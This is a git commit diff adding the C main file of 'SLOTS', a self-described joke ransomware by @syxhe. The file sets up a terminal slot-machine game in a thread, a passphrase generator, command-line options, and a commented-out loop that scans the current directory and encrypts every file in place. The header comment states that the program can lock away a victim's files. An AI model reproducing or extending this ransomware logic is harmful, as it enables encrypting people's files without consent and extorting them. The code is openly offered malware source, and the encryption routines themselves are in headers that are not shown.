diff options
| author | @syxhe <https://t.me/syxhe> | 2024-08-30 18:49:35 -0500 |
|---|---|---|
| committer | @syxhe <https://t.me/syxhe> | 2024-08-30 18:49:35 -0500 |
| commit | 80ed3fd818905cb08ad04abc166a4b2c936955e3 (patch) | |
| tree | 931a75ba8173fa1bc7678af28355fb5dc6e1ff42 /src/VX-GAMBLEGROUND.c | |
| parent | 567d14881df3e405bd9f955c18978cf14ee4c12b (diff) | |
Rename main & get multithreading going
Diffstat (limited to 'src/VX-GAMBLEGROUND.c')
| -rw-r--r-- | src/VX-GAMBLEGROUND.c | 213 |
1 files changed, 213 insertions, 0 deletions
diff --git a/src/VX-GAMBLEGROUND.c b/src/VX-GAMBLEGROUND.c new file mode 100644 index 0000000..e905de4 --- /dev/null +++ b/src/VX-GAMBLEGROUND.c | |||
| @@ -0,0 +1,213 @@ | |||
| 1 | /*** | ||
| 2 | * SLOTS - Feelin' Lucky? | ||
| 3 | * | ||
| 4 | * SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money. | ||
| 5 | * This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it | ||
| 6 | * also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit | ||
| 7 | * | ||
| 8 | * | ||
| 9 | */ | ||
| 10 | |||
| 11 | #define _GNU_SOURCE | ||
| 12 | |||
| 13 | #include "VX-GAMBLEGROUND.h" | ||
| 14 | |||
| 15 | #include "encryption.h" | ||
| 16 | #include "search.h" | ||
| 17 | #include "screen.h" | ||
| 18 | #include "ll.h" | ||
| 19 | |||
| 20 | #include <sodium.h> | ||
| 21 | |||
| 22 | #include <sys/random.h> | ||
| 23 | #include <sys/types.h> | ||
| 24 | #include <sys/stat.h> | ||
| 25 | #include <assert.h> | ||
| 26 | #include <string.h> | ||
| 27 | #include <unistd.h> | ||
| 28 | #include <stdlib.h> | ||
| 29 | #include <fcntl.h> | ||
| 30 | #include <errno.h> | ||
| 31 | #include <error.h> | ||
| 32 | #include <argp.h> | ||
| 33 | #include <time.h> | ||
| 34 | |||
| 35 | #include <stdio.h> | ||
| 36 | #include <threads.h> | ||
| 37 | |||
| 38 | #define PHRASESIZE 32 | ||
| 39 | |||
| 40 | const char *argp_program_version = "Alpha-0.1"; | ||
| 41 | const char *argp_program_bug_address = "@syxhe on Telegram (https://t.me/syxhe)"; | ||
| 42 | |||
| 43 | static char doc[] = "lol"; | ||
| 44 | static char argdoc[] = "lmao"; | ||
| 45 | |||
| 46 | static struct argp_option options[] = { | ||
| 47 | {.name = "passphrase", .key = 'p', .arg = "key", .flags = 0, .doc = "Specify passphrase for encryption/decryption", .group = 0}, | ||
| 48 | {"decrypt", 'd', 0, 0, "Skip the slots minigame and immediately decrypt (or encrypt) files", 0}, | ||
| 49 | {"noencrypt", 'n', 0, 0, "Don't encrypt files when ran, just play slots", 0}, | ||
| 50 | {0} | ||
| 51 | }; | ||
| 52 | |||
| 53 | static error_t parse_opt(int key, char *arg, struct argp_state *state) { | ||
| 54 | struct arguments *args = state->input; | ||
| 55 | |||
| 56 | switch(key) { | ||
| 57 | case 'p': | ||
| 58 | /* Specifying the start option of "-p=<phrase>" errors out unless this is done. | ||
| 59 | // Technically a user should use --passphrase=<phrase> if they want to use the = sign, but I think | ||
| 60 | // this is how it should work. RMS can suck it */ | ||
| 61 | if(*arg == '=') | ||
| 62 | arg++; | ||
| 63 | |||
| 64 | args->inputpass = arg; | ||
| 65 | if(strlen(args->inputpass) != PHRASESIZE) { | ||
| 66 | error(1, 0, "Encryption passphrase must be exactly %d characters long", PHRASESIZE); | ||
| 67 | } | ||
| 68 | break; | ||
| 69 | |||
| 70 | case 'd': | ||
| 71 | args->flags |= SKIPSLOTS; | ||
| 72 | break; | ||
| 73 | |||
| 74 | case 'n': | ||
| 75 | args->flags |= SKIPENC; | ||
| 76 | break; | ||
| 77 | |||
| 78 | default: | ||
| 79 | return ARGP_ERR_UNKNOWN; | ||
| 80 | } | ||
| 81 | |||
| 82 | return 0; | ||
| 83 | } | ||
| 84 | |||
| 85 | static struct argp argp = {options, parse_opt, argdoc, doc, NULL, 0, 0}; | ||
| 86 | |||
| 87 | |||
| 88 | int genphrase(char *phrase, size_t phrasesize) { | ||
| 89 | memset(phrase, 0, phrasesize); | ||
| 90 | for(size_t i = 0; i < phrasesize; i++) { | ||
| 91 | phrase[i] = randombytes_uniform(('Z' - 'A') + 1) + 'A'; | ||
| 92 | if(randombytes_random() > (0xffffffff / 2)) | ||
| 93 | phrase[i] += ('a' - 'A'); | ||
| 94 | } | ||
| 95 | |||
| 96 | return 0; | ||
| 97 | } | ||
| 98 | |||
| 99 | // roflmao fuck this project i'm too tired to bother with making it nice | ||
| 100 | int doslots(struct bullshit *stuff) { | ||
| 101 | // I have no fucking clue why gcc complains that this isn't properly bracketed. Maybe im rarted | ||
| 102 | stuff->handler = (struct sigaction){ | ||
| 103 | .sa_flags = SA_SIGINFO, | ||
| 104 | .sa_mask = SIGINT | SIGWINCH, | ||
| 105 | .sa_sigaction = catcher, | ||
| 106 | }; | ||
| 107 | doinit(&stuff->handler); | ||
| 108 | docolors(); | ||
| 109 | |||
| 110 | getmaxyx(stdscr, stuff->row, stuff->col); | ||
| 111 | stuff->randphrase = randombytes_uniform(STATIC_ARRSIZE(phrases) + 1); | ||
| 112 | stuff->banner = create_banner(stuff->col, stuff->randphrase); | ||
| 113 | |||
| 114 | init_items(stuff->items, menu_choices, STATIC_ARRSIZE(menu_choices), userfuncs); | ||
| 115 | stuff->menu = new_menu(stuff->items); | ||
| 116 | if(stuff->menu == NULL) { | ||
| 117 | endwin(); | ||
| 118 | error(1, errno, "Could not create menu"); | ||
| 119 | } | ||
| 120 | |||
| 121 | stuff->menuholder = newwin(1, stuff->col, stuff->row - 1, 0); | ||
| 122 | keypad(stuff->menuholder, TRUE); | ||
| 123 | init_custom_menu_format(stuff->menuholder, stuff->menu, (int []){1, stuff->col}, O_ONEVALUE | O_IGNORECASE, O_SHOWDESC | O_NONCYCLIC); | ||
| 124 | |||
| 125 | stuff->slots.slotwin = newwin(stuff->row - 2, stuff->col, 1, 0); | ||
| 126 | if(stuff->slots.slotwin == NULL) { | ||
| 127 | endwin(); | ||
| 128 | error(1, errno, "[VX-GAMBLEGROUND] Could not create slots window"); | ||
| 129 | } | ||
| 130 | init_slotholder(&stuff->slots); | ||
| 131 | |||
| 132 | doupdate(); | ||
| 133 | |||
| 134 | stuff->params = (struct params){ | ||
| 135 | .bannerwin = stuff->banner, | ||
| 136 | .menu = stuff->menu, | ||
| 137 | .menuholder = stuff->menuholder, | ||
| 138 | .numspins = 3, | ||
| 139 | .price = 1, | ||
| 140 | .slots = &stuff->slots, | ||
| 141 | }; | ||
| 142 | |||
| 143 | handle_input(stuff->menuholder, stuff->menu, &stuff->params); | ||
| 144 | |||
| 145 | unpost_menu(stuff->menu); | ||
| 146 | free_menu(stuff->menu); | ||
| 147 | for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++) | ||
| 148 | free_item(stuff->items[i]); | ||
| 149 | |||
| 150 | endwin(); | ||
| 151 | |||
| 152 | return 0; | ||
| 153 | } | ||
| 154 | |||
| 155 | int doslots_twrapper(void *passed) { | ||
| 156 | return doslots((struct bullshit*)passed); | ||
| 157 | }; | ||
| 158 | |||
| 159 | |||
| 160 | int main(int argc, char *argv[]) { | ||
| 161 | struct arguments args = { | ||
| 162 | .inputpass = NULL, | ||
| 163 | .flags = 0 | ||
| 164 | }; | ||
| 165 | argp_parse(&argp, argc, argv, ARGP_NO_ARGS, 0, &args); | ||
| 166 | |||
| 167 | if(args.flags == (SKIPENC | SKIPSLOTS)) | ||
| 168 | error(1, 0, "[VX-GAMBLEGROUND] You want to skip the slots, and the encryption? Ok, sure"); | ||
| 169 | |||
| 170 | struct bullshit stuff; | ||
| 171 | thrd_t slots; | ||
| 172 | int err; | ||
| 173 | |||
| 174 | if((err = thrd_create(&slots, doslots_twrapper, (void*)&stuff)) != thrd_success) | ||
| 175 | error(1, 0, "Thread creation failed"); | ||
| 176 | |||
| 177 | |||
| 178 | // if(args.inputpass != NULL) { | ||
| 179 | // printf("Using input passphrase \"%s\"\n", args.inputpass); | ||
| 180 | // } else { | ||
| 181 | // char phrase[PHRASESIZE]; | ||
| 182 | // genphrase(phrase, PHRASESIZE); | ||
| 183 | |||
| 184 | // printf("Encryption phrase: %s\n\nWrite this phrase down EXACTLY if you want to recover your files\n", phrase); | ||
| 185 | |||
| 186 | // if(args.flags & SKIPSLOTS != 0) { | ||
| 187 | // printf("Hit Enter to contine, or CTRL+C to cancel..."); | ||
| 188 | // getchar(); | ||
| 189 | // } | ||
| 190 | // } | ||
| 191 | |||
| 192 | /* Get files | ||
| 193 | struct nodelist *files = scanfiles("./", alphasort); | ||
| 194 | |||
| 195 | // Encrypt those files | ||
| 196 | for(struct nodelist *p = files; p != NULL; p = p->next) { | ||
| 197 | int fd = open(p->fullpath, O_RDWR); | ||
| 198 | if(fd < 0) { | ||
| 199 | error(0, errno, "Couldn't open file \"%s\" for some reason", p->fullpath); | ||
| 200 | continue; | ||
| 201 | } | ||
| 202 | |||
| 203 | passencblock(fd, phrase); | ||
| 204 | close(fd); | ||
| 205 | } | ||
| 206 | |||
| 207 | nodelist_delete(files); | ||
| 208 | //*/ | ||
| 209 | |||
| 210 | thrd_join(slots, NULL); | ||
| 211 | |||
| 212 | return 0; | ||
| 213 | } \ No newline at end of file | ||
